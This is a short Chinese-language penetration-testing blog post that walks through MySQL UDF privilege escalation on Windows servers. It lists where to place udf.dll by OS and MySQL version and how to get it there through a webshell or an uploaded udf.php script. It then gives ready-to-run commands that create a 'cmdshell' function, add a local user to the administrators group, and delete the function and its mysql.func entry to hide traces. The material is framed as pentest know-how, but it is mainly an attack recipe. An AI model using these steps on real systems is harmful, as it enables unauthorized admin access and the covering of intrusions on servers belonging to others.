最新消息:

MySQL之UDF提权原理及实现

渗透测试 Eternal 12199浏览 0评论

关于UDF提权,也是现在比较常见的MySQL类提权方式之一。它的提权原理也非常简单!即是利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库!这样一来我们就可以利用 system权限进行提权操作了!

在开始进行UDF提权前,我们有必要先了解下提权对象的系统版本及MySQL数据库的版本信息。因为对于不同的版本,操作手法也不近相同!

数据库版本为 5.0 以下的:

如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导出到 C:\Winnt\udf.dll 下。

如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。

数据库版本为 5.1 以上的:

我们则需要将 dll 文件导出到 mysql 安装目录的 lib\plugin\ 下,才能创建自定义函数。注:如果没有 plugin 目录,我们可以进行手动创建!

同样这里,我们也有两种方式进行 UDF的提权:

(一).通过大马的MySQL提权功能,成功导出 udf.dll 文件后,我们就可以直接在命令框输入 cmd 命令,来执行提权操作。注:在此之前,我们应执行版本查看语句,来确认当前MySQL的版本信息!

net user secist secist.com /add

net localgroup administrators secist /add

(二).直接在目标服务器上传 udf.php 此类的提权脚本提权。

方法是一样的,先导出 dll 文件到正确位置。

20160814180738

再在自定义SQL语句执行框内,执行以下命令,来创建调用函数并进行提权!

20160814180957

1. create function cmdshell returns string soname ‘udf.dll’; 创建 cmdshell 调用函数
2. select cmdshell(‘net user secist secist.com /add’); 添加用户
3. select cmdshell(‘net localgroup administrators secist /add’); 将用户加到管理组
4. drop function cmdshell; 删除函数
5. delete from mysql.func where name=’cmdshell’? 删除函数

 

转载请注明:即刻安全 » MySQL之UDF提权原理及实现

您必须 登录 才能发表评论!



合作伙伴